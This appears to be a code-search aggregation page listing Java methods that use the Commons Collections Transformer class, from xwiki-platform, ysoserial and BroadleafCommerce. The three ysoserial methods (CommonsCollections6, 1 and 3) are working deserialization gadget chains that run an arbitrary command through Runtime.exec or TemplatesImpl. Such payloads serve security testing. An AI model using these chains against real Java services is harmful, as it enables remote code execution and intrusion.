use of org.apache.commons.collections.Transformer in project xwiki-platform by xwiki.
the class DefaultWatchListEventFeedManager method getFeed.
@Override
@SuppressWarnings("unchecked")
public SyndFeed getFeed(String user, int entryNumber) throws XWikiException {
XWikiContext context = contextProvider.get();
Collection<String> wikis = store.getWatchedElements(user, WatchedElementType.WIKI);
Collection<String> spaces = store.getWatchedElements(user, WatchedElementType.SPACE);
Collection<String> documents = store.getWatchedElements(user, WatchedElementType.DOCUMENT);
List<Object> parameters = new ArrayList<Object>();
ActivityStreamPluginApi asApi = (ActivityStreamPluginApi) context.getWiki().getPluginApi("activitystream", context);
parameters.addAll(wikis);
parameters.addAll(spaces);
parameters.addAll(documents);
Transformer transformer = new ConstantTransformer("?");
List<String> wikisPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
wikisPlaceholders.addAll(wikis);
List<String> spacesPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
spacesPlaceholders.addAll(spaces);
List<String> documentsPlaceholders = ListUtils.transformedList(new ArrayList<String>(), transformer);
documentsPlaceholders.addAll(documents);
String listItemsJoint = ",";
String concatWiki = " or concat(act.wiki,'";
String query = "1=0";
if (!wikis.isEmpty()) {
query += " or act.wiki in (" + StringUtils.join(wikisPlaceholders, listItemsJoint) + ')';
}
if (!spaces.isEmpty()) {
query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.space) in (" + StringUtils.join(spacesPlaceholders, listItemsJoint) + ')';
}
if (!documents.isEmpty()) {
query += concatWiki + DefaultWatchListStore.WIKI_SPACE_SEP + "',act.page) in (" + StringUtils.join(documentsPlaceholders, listItemsJoint) + ')';
}
List<ActivityEvent> events = asApi.searchEvents(query, false, true, entryNumber, 0, parameters);
SyndFeed feed = asApi.getFeed(events);
setFeedMetaData(feed, context);
return feed;
}
use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.
the class CommonsCollections6 method getObject.
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if (node == null) {
node = array[1];
}
Field keyField = null;
try {
keyField = node.getClass().getDeclaredField("key");
} catch (Exception e) {
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
}
use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.
the class CommonsCollections1 method getObject.
public InvocationHandler getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
// arm with actual transformer chain
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
use of org.apache.commons.collections.Transformer in project ysoserial by frohoff.
the class CommonsCollections3 method getObject.
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { templatesImpl }) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
// arm with actual transformer chain
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return handler;
}
use of org.apache.commons.collections.Transformer in project BroadleafCommerce by BroadleafCommerce.
the class BaseProcessor method onApplicationEvent.
/**
* Ensures the the list of activities is properly merged and sorted after all activities have been initialized
*/
@Override
public void onApplicationEvent(ContextRefreshedEvent event) {
if (!(beanFactory instanceof ListableBeanFactory)) {
throw new BeanInitializationException("The workflow processor [" + beanName + "] " + "is not managed by a ListableBeanFactory, please re-deploy using some derivative of ListableBeanFactory such as" + "ClassPathXmlApplicationContext ");
}
if (CollectionUtils.isEmpty(activities) && !isAllowEmptyActivities()) {
throw new UnsatisfiedDependencyException(getBeanDesc(), beanName, "activities", "No activities were wired for this workflow");
}
// sort the activities based on their configured order
OrderComparator.sort(activities);
HashSet<String> moduleNames = new HashSet<>();
for (Iterator<Activity<ProcessContext<U>>> iter = activities.iterator(); iter.hasNext(); ) {
Activity<ProcessContext<U>> activity = iter.next();
if (!supports(activity)) {
throw new BeanInitializationException("The workflow processor [" + beanName + "] does " + "not support the activity of type" + activity.getClass().getName());
}
if (activity instanceof ModuleActivity) {
moduleActivities.add((ModuleActivity) activity);
moduleNames.add(((ModuleActivity) activity).getModuleName());
}
}
if (CollectionUtils.isNotEmpty(moduleActivities)) {
// log the fact that we've got some modifications to the workflow
StringBuffer message = new StringBuffer();
message.append("The following modules have made changes to the " + getBeanName() + " workflow: ");
message.append(Arrays.toString(moduleNames.toArray()));
message.append("\n");
message.append("The final ordering of activities for the " + getBeanName() + " workflow is: \n");
ArrayList<String> activityNames = new ArrayList<>();
CollectionUtils.collect(activities, new Transformer() {
@Override
public Object transform(Object input) {
return ((Activity) input).getBeanName();
}
}, activityNames);
message.append(Arrays.toString(activityNames.toArray()));
supportLogger.lifecycle(LifeCycleEvent.CONFIG, message.toString());
}
}
Aggregations